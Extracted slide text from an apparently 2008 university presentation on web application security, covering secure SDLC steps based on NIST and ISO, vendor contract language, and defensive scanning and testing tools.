• Stored and viewable in client browser’s history

• Stored in web server access logs• Use HTTP POST (not GET) requests to pass

parameters to your application



Browser Page Cache & History

Browser Cookies

• Sensitive data should not be stored in cookies– Cookies are stored on client browser, can be viewed by user/hacker,

and possibly sent unencrypted if not using SSL• Firefox plugin:

• Use non-persistent cookies (that disappear once a browser is closed) instead of persistent ones.

Agenda


• Security Frameworks – ISO, NIST, PCI… OWASP’s Top 10 list




• Tools

NIST SDLC

• OWASP refers to NIST Special Publication 800-27 Rev A - Engineering Principles for Information Technology Security (A Baseline for Achieving Security), Revision A *

Initiation: During the initiation phase, the need for a system is expressed and the purpose of the system is documented. Activities include conducting an impact assessment in accordance with FIPS-199 (http://csrc.nist.gov/publications/fips/fips199/FIPS-PUB-199-final.pdf).

Development/Acquisition: During this phase, the system is designed, purchased, programmed, developed, or otherwise constructed. This phase often consists of other defined cycles, such as the system development cycle or the acquisition cycle. Activities include determining security requirements, incorporating security requirements into specifications, and obtaining the system.

Implementation: During implementation, the system is tested and installed or fielded. Activities include installing/turning on controls, security testing, certification, and accreditation.

Operation/Maintenance: During this phase, the system performs its work. Typically, the system is also being modified by the addition of hardware and software and by numerous other events. Activities include security operations and administration, operational assurance, and audits and monitoring.

Disposal: The disposal phase of the IT system life-cycle involves the disposition of information, hardware, and software. Activities include moving, archiving, discarding or destroying information and sanitizing the media.

*http://csrc.nist.gov/publications/nistpubs/800-27A/SP800-27-RevA.pdf

http://csrc.nist.gov/publications/fips/fips199/FIPS-PUB-199-final.pdf

NIST: Security Considerations in the Information System Development Life Cycle

Initiation Acquisition/

Development

Implementation Operations/

Maintenance

Disposition

Linkage of Need to Mission and Performance Objectives

Assessment of Alternatives to Capital Assets

Preparing for investment and budgeting

_________________

Security Categorization

Preliminary Risk Assessment

Functional Need Doc.

Market Research

Feasibility Study

Requirements Analysis

Alternatives Analysis

Cost-Benefit Analysis

Risk Management Plan and Assessment

Acquisition Planning

____________________

Security Functional Requirements Analysis

Security Assurance Requirements Analysis

Cost considerations

Security Planning

Security Control Development

Developmental Security Test and Evaluation

Installation

Inspection

Acceptance testing

Initial user training

Documentation

____________________

Inspection and Acceptance

System Integration

Security Certification

Security Accreditation

Performance measurement

Contract modifications

Operations Maintenance

____________________

Configuration Management and Control

Continuous Monitoring

Appropriateness of disposal

Exchange and sale

Internal organization screening

Transfer and donation

Contract closeout

______________

Information Preservation

Media Sanitization

Hardware and Software Disposal

http://csrc.nist.gov/publications/nistpubs/800-64/NIST-SP800-64.pdf

Remember - Essentials of a Comprehensive Web Security Program –

Principles?*

• Risk Based– Principle 8. Implement tailored system security measures to meet

organizational security goals – Principle 11. Protect against all likely classes of “attacks.”

*NIST Special Publication 800-27 Rev A - Engineering Principles for Information Technology Security (A Baseline for Achieving Security), Revision A (http://csrc.nist.gov/publications/nistpubs/800-27A/SP800-27-RevA.pdf)

8 Steps to Integrating Security into your SDLC

NIST and ISO are complex and expensive to implement. NIST recommendation is to adopt and modify as necessary. We modified it to:

1. Document a formal program2. Train3. Requirements4. Architecture and Design5. Implementation6. Deployment7. Operations / Maintenance8. Decommissioning

Integrating Security into SDLC Step 1: Create a formal document, outlining a

program centered on secure application deployment.

Describe the standards, practices and policy for development or acquisition and maintenance of any system. Use NIST, ISO 27001:2005, PCI, or any other security standards that best fit your organization. This document should delineate roles and responsibilities, outline a methodology for project planning and management across the software development life cycle, and include a template for analysis of data privacy and retention. It would typically outline how confidential data should be collected, categorized/inventoried, stored, shared, and managed across time. It would describe how any applications that "touch" this data should be implemented . Auditing and encryption requirements would be covered as well as the standard set of technologies that have been approved for application development (a Technical Reference Architecture). Additionally, for the higher risk changes, a formal change management process would be documented.

Integrating Security into SDLC Step 2: Train

• If users are not educated on security concerns, regulations, and laws, any system will fail.

– Email will be unintentionally used to transmit regulated or confidential information

– Private data will be entered into a text field

• Train Project Leaders, Programmers and Business units on data security and policy.

• Don’t assume technical staff and vendors are aware of all security issues.

– Assign appropriately trained staff, mentors/reviewers

Use Educause!

Integrating Security into SDLC Step 3: Requirements

• Acquisition or development– Identify Security requirements at requirements gathering

phase – Examples of questions to ask and put into formal

template?• Any personal or confidential data?• Compliance requirements – PCI, SB1386, FERPA, HIPAA?• If 24/7 uptime is required with clustering and load balancing, think

about logging requirements…– do logs need to be centralized? easily audited for forensics analysis?– Retention period? Tamper-proof?

• Risk assessment – normal or high risk application?

Requirements Template

1.1 User Classes and Characteristics<Identify the various user classes that you anticipate will use this product (i.e. users doing updating vs. users with browse access only). User classes may be differentiated based on frequency of use, subset of product functions used, technical expertise, security or privilege levels, educational level, or experience...>

2.5 Design and Implementation Constraints<Describe any items or issues that will limit the options available to the developers. These might include: …corporate or regulatory policies; …interfaces to other applications; specific technologies, tools, and databases to be used; …communications protocols; security considerations.>

3.4 Communications Interfaces<Describe the requirements associated with any communications functions required by this product, including e-mail, web browser, network server communications protocols, electronic forms, and so on. Define any pertinent message formatting. Identify any communication standards that will be used, such as FTP or HTTP. Specify any communication security or encryption issues, data transfer rates, and synchronization mechanisms.>

5.3 Security Requirements<Specify any requirements regarding security or privacy issues surrounding use of the product or protection of the data used or created by the product. Define any user identity authentication requirements. Refer to any external policies or regulations containing security issues that affect the product. Define any security or privacy certifications that must be satisfied.>

Integrating Security into SDLC Step 4: Architecture and Design

• Dedicate a Security role in your organization • Security Architecture must

– address and support multiple layers of protection, including database, network level, operating system, and application level security

– be flexible to support the introduction and/or integration of new technologies

– provide a modular approach to authentication, authorization, and audit

Security Architecture – Multi-layer

U serIden tity M anagem ent

A u then tica tionE duca tion

N etw ork /W ebA ccoun t A dm in

F irew a lls , E ncryp tionLogg ing/A ud iting

A p plicationA u tho riza tionLogg ing /A ud it

T est T oo ls

D ataA u tho riza tionLogg ing /A ud it

E ncryp tion ,Inven to ry

O p era tio nsB ackups ( inc l o ff-s ite)

Logg ing /A ud itD isaste r R ecove ry

P o licies , S tan d ard s , P ro ced ures , T ech n ica l R efe ren ce A rch itec tu reA pp roved T oo ls and L ifecyc le

E xcep tions by A pp rovalR egu la rly rev iew ed

Security Architecture Lifecycle – focus on Standardization

Security Architecture Design

• Consider security during initial system design• Delegate access control as appropriate • Centralize security policy, maintenance operation

and oversight functions• Assign security levels consistently and at the

lowest level of access required by the individual • Identify vulnerable points. Design and reuse

common and tested components • Consolidate storage of sensitive data – important!

Communication between distributed components

• Document how the data is used by each component

• Transmissions/exchanges of private information must be encrypted using protocols like:

–HTTPS–SFTP–SSH–STunnel–VPN

• How does an application or component authenticate to another service?

Application Logging

• Web application logging should be set at an appropriate level to detect intruder or hacking activity for real time or post-mortem forensic analysis

• Logs should be stored and archived in a central and secure location such that only administrators can view and no one can alter them

• Examples:– Web access logs that include time, IP, URL– Authentication/authorization logs that include time, IP, user, auth

result– Database audit logs of access to sensitive data including time, user,

SQL statement/object– Logs of critical application-specific activity

• Prepare for that Forensics Audit. Design your applications for it.

Integrating Security into SDLC Step 5: Implementation

Implementation/Acquisition – make security “routine”• Require code reviews of all security and database code • Require developers to build unit test harnesses

– JUnit

• Require developers to reuse security components– Single-signon, authorization API, user identity objects

• Automate nightly code and application security scanning – Jtest, AppScan, WebInspect, Nessus, database security scanning

• Schedule network & configuration vulnerability scanning – Foundstone, Sophos virus scans, Tripwire

• De-identify confidential test data• Write and use manual security test procedures• Perform concurrency and stress testing

– Jmeter, OpenSTA (100s of concurrent virtual test user load)

Code Review – It is a Process

Manual Code Review should at LEAST focus on http://www.owasp.org/index.php/Code_Review_Processes :

• Authorization • Access Control • Input Validation • Error Handling • Session Management • Form Keys or Frequent Session Rotation (for CSRF defense) • Proper Application Logging

Use Automated Tools – pay attention to false negatives and false positives. Not replacement for manual code reviews.

• JTest, OWASP’s Code Crawler

Metrics - http://www.owasp.org/index.php/Code_review_Metrics• Defect density• Lines of code• Function points• Risk density

– Eg: 4 High Risk Defects per 1000 (Lines of Code) 2 Medium Risk Defects per 3 Function Points

• Cyclomatic complexity = decision points + 1 ; (if/else/switch/case): – 0-10: Stable code. Acceptable complexity – 11-15: Medium Risk. More complex – 16-20: High Risk code. Too many decisions for a unit of code. Needs re-design/re-write.

Functional Testing

• Do you use formal Test Plans or AdHoc? Tied to Security Requirements?

• Done by developers and end users?• Do Pilot Users test methodically using Test Plans? • How do you ensure testing coverage is adequate?• SQL Injection and XSS testing• Browser Compatibility Testing (ex: browser cache)• Regression testing

Storing sensitive data

• AVOID storing sensitive data if at all possible!• If you have to store sensitive data:

–Encrypt table records and/or files that contain: • password, SSN, home phone/address, credit card, bank

account, Driver's License, non-public student or employee data, or FERPA blocked student data

–Encrypt storage at database/file and application layer• Database encryption is not enough! Protects from lost/stolen

disk or backup, not from SQL-Injection hack attack • Multi-layer security protection - User account breach won’t

allow decryption

–Use encrypted transmission for data retrieval and modification

Data modelling

• When designing database tables:–No confidential data elements should be used as keys in tables (e.g. SSN)

–Normalize to consolidate confidential data into a single table

• Audit ONE table, not many• Encrypt ONE table, not many• Mock intruder alert drills and prepare!• Review logs for forensics capability

Sample Checklists

• Portal SDLC Documentation– SDLC Process

• Requirements – Sections of our template address specific security requirements.

• Project Plan includes review schedule.

– Development / Vendor Selection Guidelines – Database Review, SQL Server Setup Checklist– Code Review Checklist, Test Templates– Security Manual Test Procedure– Security Assessment and Checklists– Architecture Review

Integrating Security into SDLC Step 6: Deployment

• Create secured test and production environment• Cross train Helpdesk, Sys Admin, support staff • “Market” Application security risks and policy

– Consider policy to disallow confidential data on laptops or other portable devices

• Professionally administered system and data backups?– backups identify compromised individuals– Off-site backups? Where? At home?

• Disaster recovery plans?• Security Checkoff? SDLC Approvals? (Prior to

production release)

SDLC Approvals (Moving to JIRA Workflow)

Integrating Security into SDLC Step 7: Operations/Maintenance

• Catalogue and inventory use of personal data• Repeated “routine” reviews and scanning• Apply all security patches at all architectural

layers in a timely manner– OS, Firewall, Database, Platform

• Audit/log access to confidential data• Change control

– Weekly meeting for all developers and administrators– 2 week notice of all turnovers/change required and plans– Use a campus Calendar to publish schedule. Reduced collisions– Fewer “emergency” changes means fewer security vulnerabilities

Our Change Control Process

• Coordinate and schedule changes in network, database, applications, OS, firewalls and configurations

– avoid downtime due to collisions– avoid accidental security exposures – We use Oracle Calendar

• All developers, system and network admins meet every Tuesday morning for at least 15 minutes!

• 2 week notice of all planned changes– Test Plan and security checklist required

• High/low risk identified on all changes• Changes recorded in ServiceDesk

Integrating Security into SDLC Step 8: Decommissioning

Decommissioning of Application and Data• Data

– Retention/preservation compliance?

• Properly dispose hardware and software– Does data retention period collide with a software

end-of-life? Clipper/DOS 6.2?– Can OS and hardware run it today if necessary to

restore data? Is data warehousing required?– Sanitize media professionally, including backups

• Update catalogue of personal data!

Agenda






• Tools

UC Irvine’s Incident

• United Health Care – organized ring of internal staff was responsible for stealing SSNs of UC Irvine Graduate Students.

Procurement Practices

• ISO/IEC 27002:2005, Reference 6.2.3 – Addressing Security in Third Party Agreements

• NIST SP. Pub. 800-53, Rev. 2; Section 2.4 – Security Control in External Environments

• NIST CSPP - Guidance for COTS Security Protection Profiles – http://csrc.nist.gov/publications/nistir/ir6462.pdf

• PCI – Requirement A.1 – Hosted Providers Protect Cardholder Data Environment – https://www.pcisecuritystandards.org/docs/saq_d_v1-

1.doc

Contract language should cover

• Glossary / Definitions: What is “Confidential Data”?• Use of data• Data Sharing• Data Protection Expectations• Data Transmission / Encryption• Data Protection after Contract Termination• Notification of Security Incidents• Security Incident Investigation• Security Audits/Scans (Independent Verification)• Indemnification as a Result of Security Breach• References to Third Party Compliance with University Policies,

Standards, Guidelines, And Procedures• References To Third Party Compliance With Applicable Federal,

State• Local Laws/Regulatory Requirements.

– Reference: ISO/IEC 27002:2005, Reference 6.2.3(a); (r)– Reference: NIST Sp. Pub. 800-53, Rev. 2; Control SA-9

Educause Security Task Force: Contract Language Toolkit – Draft

Vendor agrees to have an independent third party (e.g. Cap Gemini Ernst & Young, Deloitte & Touché, or other industry recognized firms) security audit performed at least once a year. The audit results and vendor’s plan for addressing or resolving of the audit results shall be shared with the University within XX (X) days of the Vendor’s receipt of the audit results. The audit should minimally check for buffer overflows, open ports, unnecessary services, lack of user input filtering, cross site scripting vulnerabilities, SQL injection vulnerabilities, and any other wellknown (published on bugtraq or similar mailing list) vulnerabilities.

The University reserves the right to require the vendor to provide the results of an audit of security policies, practices, and procedures on an annual or biennial basis. This audit must be performed by a third-party approved by the University.

The University reserves the right to request the results of a vulnerability scan for the Vendor’s production environment. Production environment is here defined as all systems that interact with the service contracted for herein including any systems that hold, process, or from which University data may be accessed. A vulnerability scan is defined as a scan by a network vulnerability scanner such as Nessus or ISS.

The University reserves the right to request the results of a formal penetration test. A penetration test is here defined as "the process of using approved, qualified personnel to conduct real-world attacks against a system so as to identify and correct security weaknesses before they are discovered and exploited by others.“ See http://www.ffiec.gov/ffiecinfobase/booklets/e_banking/ebanking

ASP Vendor Security Checklist

What certification or audits does the University have that the system will be managed per our guidelines and contract agreement?

How do you manage the system for detection of intrusion.

How often is the system patched, by whom and when?

How are we notified if system security is breached? Notification handling?

How is data purged from the vendor's hardware?

How are disks, tapes, or computers that might store sensitive data disposed of? Are the media erased before disposal or reuse?

Where is the hardware location? Is it inside or outside of the United States? Is it subject to our laws?

Are the personnel who administer and use the hardware located within the United States and subject to our laws?

Is data encrypted? If private data is transmitted, either via

Internet, on CD-ROM or file transfer, is it encrypted?

Is SSL enabled to the application so that traffic over the Internet, including authentication is secure and private?

Data loss, data backups: what are the guarantees? Are backups stored offsite? If backups have sensitive data, are the backups encrypted? Can we store the backup at UCI? How about disaster recovery planning?

How is the hardware or database distributed by the vendor among customers? Is one hardware used for all customers? Is a single database used for all customers or does each customer have a private database?

How are user accounts managed?

Agenda






• Tools

Development Tools

• Unit Testing - JUnit* for Java Whitebox Unit Testing, Integrated with Eclipse

• Issue Tracking - JIRA, SDLC approvals/workflow for production control

• Firefox Extensions– Web application debugging

• Firebug• Web Developers Toolbar

– Tamper Data – modify HTTP Request• https://addons.mozilla.org/firefox/966/

– Add N Edit Cookies• https://addons.mozilla.org/firefox/573/

• OWASP’s WebScarab – modify HTTP Request and Response, etc.

*Free

QA Tools

• Code Scanning– JTest, Code Crawler– Use Cyclomatic Code Complexity to determine if a code review is

even appropriate!• Load/Stress Test

– JMeter• Wikto: Web Server Assessment Tool

– http://www.sensepost.com/research/wikto/index2.html• Web Application Scanning / Penetration Testing

– Nessus*– WebInspect http://www.spidynamics.com/– Watchfire Appscan

http://www.watchfire.com/products/appscan/default.aspx*Free

Watchfire Appscan

• NACS and AdCom licensed

• Can scan web applications faster and more thoroughly than only manual testing

Tamper Data

• Free Firefox add-on that facilitates parameter tampering

• Easily remove, add, or modify parameters before any request

• Includes shortcuts for common exploits• Can be used to bypass client-side validation• https://addons.mozilla.org/en-US/firefox/

addon/966

Tamper Data – Firefox Plugin

Administrator Tools

• VPN with virus/rootkit/key logger scanning• 2 factor authentication • Intrusion Detection Systems

– TripWire, OSSEC*

• Log Analysis – Splunk* • Network and Configuration Scanning Tools

– NMAP*, Foundstone, SiteDigger*

• OS– Microsoft Baseline Security Analyzer*

*Free

Database Administrator Tools

• Database Scanning / Hardening – Microsoft Baseline Security Analyzer*– Imperva’s Scuba*

• Example of security report from our Credit Card Processing SQL Server:

– (high) xp_cmdshell not removed: this procedure allows issuing operating system commands directly to the command shell

– GRANT given on registry stored procedure: Permissions is grated on store procedures that allow reading and writing sensitive data from Windows registry

Web Application Security is ALL ABOUT THE LAYERS!*Free

Web Application Firewalls

• XSS, Injection Protection and beyond…– Apache Web Application Firewall mod_security * -

http://www.modsecurity.org/– IIS

• URLScan / IISLockDown *

• Open Source Aqtronix: http://www.aqtronix.com/?PageID=99 • Hardware Appliance vs Software solutions

– Hardware: Fast and Expensive• Vendors: Citrix, Imperva, many more

– Software: Cheap(er) and Slow(er)

* Free

Agenda






• Tools

NIST Glossary (87 pages!)http://csrc.nist.gov/publications/nistir/NISTIR-7298_Glossary_Key_Infor_Security_Terms.pdf

OWASP Glossary (35 pages)http://www.owasp.org/index.php/Category:Glossary

ISO Glossary (18 pages) http://www.iso27001security.com/ISO27k_glossary_2008_02_06.htm

http://www.iso27001security.com/ISO27k_glossary_2008_02_06.htm

PCI Glossary (11 pages)https://www.pcisecuritystandards.org/pdfs/pci_dss_glossary_v1-1.pdf

Resources

• Open Web Application Security Project (OWASP) - http://www.owasp.org/index.php/Category:OWASP_Project

• Educause - http://www.educause.edu/SecurityTaskForce/Resources/1225

• National Institute of Standards and Technology (NIST) Computer Security Division - http://csrc.nist.gov/

• NIST: Security Considerations in the Information System Development Life Cycle http://csrc.nist.gov/publications/nistpubs/800-64/NIST-SP800-64.pdf

• National Institute of Standards and Technology (NIST) National Vulnerability Database Checklist Site - http://checklists.nist.gov/

• ISO/IEC 27001:2005 “Information Security Requirements”– http://www.iso.org/iso/catalogue_detail?csnumber=42103

• ISO/IEC 27001:2005 “Specification for an Information Security Management System”– http://www.iso27001security.com/html/27001.html

• ISO/IEC 27001 & 27002 “Implementation Guidance and Metrics”– http://www.iso27001security.com/ISO27k_implementation_guidance_1v1.pdf

• ISO Glossary of Terms http://www.iso27001security.com/ISO27k_glossary_2008_02_06.htm• PCI-DSS - https://www.pcisecuritystandards.org/

• US Computer Emergency Readiness Team (US-CERT)- http://www.us-cert.gov/• SANS - http://www.sans.org/• Secunia - http://secunia.com/

http://www.owasp.org/index.php/Category:OWASP_Project

http://www.owasp.org/index.php/Category:OWASP_Project

http://www.educause.edu/SecurityTaskForce/Resources/1225

http://images.google.com/imgres?imgurl=http://www.itechtips.com/uploads/security-thumb.gif&imgrefurl=http://www.itechtips.com/2006/01/&h=213&w=249&sz=22&hl=en&start=15&tbnid=oBunEsnbfuizOM:&tbnh=95&tbnw=111&prev=/images%3Fq%3Dsecurity.gif%26svnum%3D10%26hl%3Den%26lr%3D%26sa%3DN

http://checklists.nist.gov/

http://www.iso.org/iso/catalogue_detail?csnumber=42103



http://www.iso27001security.com/html/27001.html

http://www.iso27001security.com/ISO27k_glossary_2008_02_06.htm

https://www.pcisecuritystandards.org/

http://www.us-cert.gov/

http://www.us-cert.gov/

http://www.sans.org/



http://secunia.com/

http://secunia.com/

http://secunia.com/

What we learned today!

• Primary Attach Vectors, Hacking Techniques and Exploits, Defensive programming / Solutions– OWASP’s Top 10 list – Dealing with Web Browser cookies, auto-complete, and caches– Database reader/writer accounts – DB injection/Web Application Design best practices, running with least

privileged account– Session management to avoid hijacking and middleman attacks

• What are the essentials of a comprehensive web security program? Effective practices?– Embedding security into your Software Development Life Cycle - For Managers, For Developers/QA , For

System and Database Administrators– Education and Training– Security Architecture, Firewalls– Secure Web Application Architecture and Infrastructure, Secure AJAX and Web Services?– Authentication, Authorization and Access Control– Logging, OSSEC, Splunk– Encryption, Cryptography– Securing/Patching OS– Securing Databases– Securing Web Servers – Apache’s mod_security module, Coldfusion, IIS– Reviews, Checklists, Audits and Self Assessments, Security Test Day

• Security Frameworks - ISO, NIST , PCI, Cobit - which one?• Integrating Security into the SDLC• Procurement Practices - Dealing with Vendor or hosted applications, Contract Language • Tools - Scanning, Penetration Testing, DB/OS Hardening and beyond

– OWASP, NMap, Nessus, MBSA, Scuba, OSSEC, Splunk, Foundstone, AppScan, Firebug, TamperData, WebScarab

• Glossary• Resources - SANS, OWASP, CERT, Secunia, GIAC (GSSP), CISSP, EDUCAUSE

Printed Materials

• Unix Security Checklist - http://www.cert.org/tech_tips/usc20_full.html• Microsoft Checklist:

– Securing Your Database Server - http://msdn.microsoft.com/en-us/library/aa302337.aspx– Securing Your Web Server - http://msdn.microsoft.com/en-us/library/aa302351.aspx

• ISO Glossary of Terms – http://www.iso27001security.com/ISO27k_glossary_2008_02_06.htm

• ISO/IEC 27001 & 27002 “Implementation Guidance and Metrics”– http://www.iso27001security.com/ISO27k_implementation_guidance_1v1.pdf

• PCI-DSS Questionnaire D and Attestation of Compliance – https://www.pcisecuritystandards.org/docs/saq_d_v1-1.doc

• Educause Security Task Force – Effective Practices - https://wiki.internet2.edu/confluence/display/secguide/Home– UC Irvine Effective Practices -

https://wiki.internet2.edu/confluence/display/secguide/Applications+and+System+Development

• UC Irvine’s Administrative Computing Services SDLC – Portal Page - http://snap.uci.edu/viewXmlFile.jsp?resourceID=1433– Requirements Template -

http://snap.uci.edu/xml/sdlc/standards/RequirementsTemplate.doc– SDLC Approvals http://apps.adcom.uci.edu/expresso/econtent/Content.do?

resource=2044

web application security 10/28/2008 neil matatall, security programmer analyst marina arseniev,...

Documents